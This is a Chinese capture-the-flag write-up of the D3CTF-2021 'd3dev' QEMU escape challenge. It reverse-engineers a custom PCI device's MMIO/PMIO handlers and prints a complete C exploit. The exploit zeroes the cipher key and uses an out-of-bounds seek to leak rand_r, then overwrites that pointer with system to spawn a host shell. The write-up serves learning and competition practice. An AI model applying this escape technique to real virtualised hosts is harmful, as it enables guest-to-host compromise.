D3CTF-2021 d3dev 漏洞分析及复现
本文为看雪论坛优秀文章
看雪论坛作者ID:lakwsh
0x00 前言
比赛的时间是3.5到3.7(也就是前几天),当时看了一下pwn第一题,记得题目描述里出现了三连——easy-signin-baby,感觉应该是pwn里面最简单的一题了,准备开搞~
#!/bin/shmkdir /tmpmount -t tmpfs none /tmpmount -t proc none /procmount -t sysfs none /sysmount -t devtmpfs devtmpfs /devexec 0</dev/consoleexec 1>/dev/consoleexec 2>/dev/consolemdev -secho -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"echo "Interactive mode\n"setsid /bin/cttyhack setuidgid 0 /bin/sh # 0 即为rootumount /procumount /syspoweroff -d 0 -f
0x01 前置知识
1. Qemu
2. PCI设备
(1) 内存映射(MMIO)
mmap的fd参数为open以下两个文件之一,flags参数需要传递MAP_SHARED属性。
(2) 端口映射(PMIO)(resource1)
0x02 漏洞分析
直接把qemu丢进IDA分析,然后看一下qemu的启动脚本,可以看到有个device参数后面跟了个d3dev,这应该就是漏洞所在的设备名。
#!/bin/sh./qemu-system-x86_64 \-L pc-bios/ \-m 128M \-kernel vmlinuz \-initrd rootfs.img \-smp 1 \-append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 nokaslr quiet" \-device d3dev \-netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \-nographic \
具体流程: _libc_csu_init -> _frame_dummy_init_array_entry -> do_qemu_init_pci_d3dev_register_types
在函数d3dev_class_init里,我们可以找到设备的vendor_id和device_id,这两个值在后面查询pci设备的时候会用到,这里我们先记下来。
void __fastcall d3dev_class_init(ObjectClass_0 *a1, void *data){PCIDeviceClass_0 *v2; // raxv2 = (PCIDeviceClass_0 *)object_class_dynamic_cast_assert(a1,(const char *)&env.tlb_table[1][115]._anon_0.dummy[31],"/home/eqqie/CTF/qemu-escape/qemu-source/qemu-3.1.0/hw/misc/d3dev.c",229,"d3dev_class_init");v2->realize = (void (*)(PCIDevice_0 *, Error_0 **))pci_d3dev_realize;v2->exit = 0LL;*(_DWORD *)&v2->vendor_id = 0x11E82333; // vendor=2333 device=11E8v2->revision = 0x10;v2->class_id = 0xFF;}
void __fastcall pci_d3dev_realize(d3devState *pdev, Error_0 **errp){memory_region_init_io(&pdev->mmio, &pdev->pdev.qdev.parent_obj, &d3dev_mmio_ops, pdev, "d3dev-mmio", 0x800uLL);pci_register_bar(&pdev->pdev, 0, 0, &pdev->mmio);memory_region_init_io(&pdev->pmio, &pdev->pdev.qdev.parent_obj, &d3dev_pmio_ops, pdev, "d3dev-pmio", 0x20uLL);pci_register_bar(&pdev->pdev, 1, 1u, &pdev->pmio);}
.data.rel.ro:0000000000B78980 d3dev_mmio_ops dq offset d3dev_mmio_read; read.data.rel.ro:0000000000B78980 dq offset d3dev_mmio_write; write....data.rel.ro:0000000000B78920 d3dev_pmio_ops dq offset d3dev_pmio_read; read.data.rel.ro:0000000000B78920 dq offset d3dev_pmio_write; write
void __fastcall d3dev_mmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){...if ( size == 4 ){offset = opaque->seek + (unsigned int)(addr >> 3);if ( opaque->mmio_write_part ){... // 这部分后文会细讲}else{opaque->mmio_write_part = 1;opaque->blocks[offset] = (unsigned int)val;// 任意写}}}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){uint32_t *key; // rbpif ( addr == 8 ){if ( val <= 0x100 )opaque->seek = val; // 控制seek}...}
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){...data = opaque->blocks[opaque->seek + (unsigned int)(addr >> 3)];// 任意读low = data;high = HIDWORD(data);... // 这里做了异或加密,后面会提到,这里省略return high;}
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){uint32_t *key; // rbpif ( addr == 8 ){...}else if ( addr > 8 ){if ( addr == 28 ){opaque->r_seed = val; // "sh"key = opaque->key;do*key++ = ((__int64 (__fastcall *)(uint32_t *, __int64, uint64_t, _QWORD))opaque->rand_r)(// system&opaque->r_seed,28LL,val,*(_QWORD *)&size);while ( key != (uint32_t *)&opaque->rand_r );}}...}
0x03 编写exp
加解密流程
uint64_t __fastcall d3dev_mmio_read(d3devState *opaque, hwaddr addr, unsigned int size){uint64_t data; // raxunsigned int i; // esiunsigned int low; // ecxuint64_t high; // rax...i = 0xC6EF3720;low = data; // data为seek和addr控制的指针指向的8字节数据high = HIDWORD(data);do{LODWORD(high) = high - ((low + i) ^ (opaque->key[3] + (low >> 5)) ^ (opaque->key[2] + 16 * low));// low << 4 <=> 16 * lowlow -= (high + i) ^ (opaque->key[1] + ((unsigned int)high >> 5)) ^ (opaque->key[0] + 16 * high);i += 0x61C88647;}while ( i );...return high;}
其次是这里用到了结构体里面的key数组,通过分析可以知道这个key参数实际上是可控的,通过调用d3dev_pmio_write函数可以*直接清零整个key数组。
void __fastcall d3dev_pmio_write(d3devState *opaque, hwaddr addr, uint64_t val, unsigned int size){uint32_t *key; // rbpif ( addr == 8 ){...}else if ( addr > 8 ){...}else if ( addr ){if ( addr == 4 ){*(_QWORD *)opaque->key = 0LL; // key[0] = key[1] = 0*(_QWORD *)&opaque->key[2] = 0LL; // key[2] = key[3] = 0}}else{...}}
2. 计算seek值
00000000 d3devState struc ; (sizeof=0x1300, align=0x10, copyof_4545)00000000 pdev PCIDevice_0 ?000008E0 mmio MemoryRegion_0 ?000009D0 pmio MemoryRegion_0 ?00000AC0 memory_mode dd ?00000AC4 seek dd ?00000AC8 init_flag dd ?00000ACC mmio_read_part dd ?00000AD0 mmio_write_part dd ?00000AD4 r_seed dd ?00000AD8 blocks dq 257 dup(?)000012E0 key dd 4 dup(?)000012F0 rand_r dq ? ; offset000012F8 db ? ; undefined000012F9 db ? ; undefined000012FA db ? ; undefined000012FB db ? ; undefined000012FC db ? ; undefined000012FD db ? ; undefined000012FE db ? ; undefined000012FF db ? ; undefined00001300 d3devState ends
3. 获取基址
# lspci00:01.0 Class 0601: 8086:700000:04.0 Class 0200: 8086:100e00:00.0 Class 0600: 8086:123700:01.3 Class 0680: 8086:711300:03.0 Class 00ff: 2333:11e800:01.1 Class 0101: 8086:701000:02.0 Class 0300: 1234:1111
# cat /sys/devices/pci0000:00/0000:00:03.0/resource0x00000000febf1000 0x00000000febf17ff 0x00000000000402000x000000000000c040 0x000000000000c05f 0x00000000000401010x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x00000000000000000x0000000000000000 0x0000000000000000 0x0000000000000000
febf1000即为mmio基址,c040即为pmio基址。
0x04 测试exp
exp:musl-gcc exp.c -o exp --static -Osstrip -s expfind . | cpio -H newc -ov -F ../rootfs.cpiorm exp
然后根据题目readme重新打包docker镜像、运行即可。
0x05 完整exp
#include <fcntl.h>#include <inttypes.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <sys/mman.h>#include <sys/types.h>#include <unistd.h>#include <sys/io.h>#define libc_system_offset 0x55410#define libc_rand_r_offset 0x4aeb0const uint32_t mmio_phy_base = 0xfebf1000;const uint32_t mmio_mem_size = 0x800;const uint32_t pmio_phy_base = 0xc040;const char sys_mem_file[] = "/dev/mem";uint64_t mmio_mem = 0x0;int die(const char *err_info){printf("[-] Exit with: %s\n.", err_info);exit(-1);}void *mmap_file(const char *filename, uint32_t size, uint32_t offset){int fd = open(filename, O_RDWR|O_SYNC);if(fd<0){printf("[-] Can not open file: '%s'.\n", filename);die("OPEN ERROR!");}void *ptr = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, offset);if(ptr==MAP_FAILED){printf("[-] Can not mmap file: '*%s'.\n", filename);die("MMAP ERROR!");}close(fd);return ptr;}//mmio opvoid mmio_write(uint64_t addr, uint64_t val){*(uint64_t *)(mmio_mem+addr) = val;}uint64_t mmio_read(uint64_t addr){return *(uint64_t *)(mmio_mem+addr);}//pmio opvoid pmio_write(uint32_t addr, uint32_t val){outl(val, pmio_phy_base+addr);}uint32_t pmio_read(uint32_t addr){return inl(pmio_phy_base+addr);}void decode(uint32_t v[2]){uint32_t i = 0;do{i -= 0x61C88647;v[0] += ((v[1]<<4))^(v[1]+i)^((v[1]>>5));v[1] += ((v[0]<<4))^(v[0]+i)^((v[0]>>5));} while(i!=0xC6EF3720);}void encode(uint32_t v[2]){uint32_t i = 0xC6EF3720;do{v[1] -= ((v[0]<<4))^(v[0]+i)^((v[0]>>5));v[0] -= ((v[1]<<4))^(v[1]+i)^((v[1]>>5));i += 0x61C88647;} while(i);}int main(){mmio_mem = (uint64_t)mmap_file(sys_mem_file, mmio_mem_size, mmio_phy_base);printf("[+] Mmap mmio physical memory to [%p-%p].\n", (void *)mmio_mem, (void *)(mmio_mem+mmio_mem_size));if(iopl(3)) die("PMIO PERMISSION ERROR!");pmio_write(0, 1); // memory_mode = 1pmio_write(4, 0); // key[0-3] = 0pmio_write(8, 0x100); // seek = 0x100printf("[*] Set block seek: %#x.\n", pmio_read(8));uint64_t glibc_randr = mmio_read(24);decode(&glibc_randr);printf("[*] rand_r@glibc %#lx.\n", glibc_randr);uint64_t glibc_system = glibc_randr-libc_rand_r_offset+libc_system_offset;printf("[+] system@glibc: %#lx.\n", glibc_system);encode(&glibc_system);printf("[*] Overwrite rand_r ptr.\n");mmio_write(24, glibc_system);pmio_write(28, 0x6873); // "sh"return 0;}
0x06 exp运行结果
0x07 参考
0x08 相关附件
看雪ID:lakwsh
https://bbs.pediy.com/user-home-678520.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!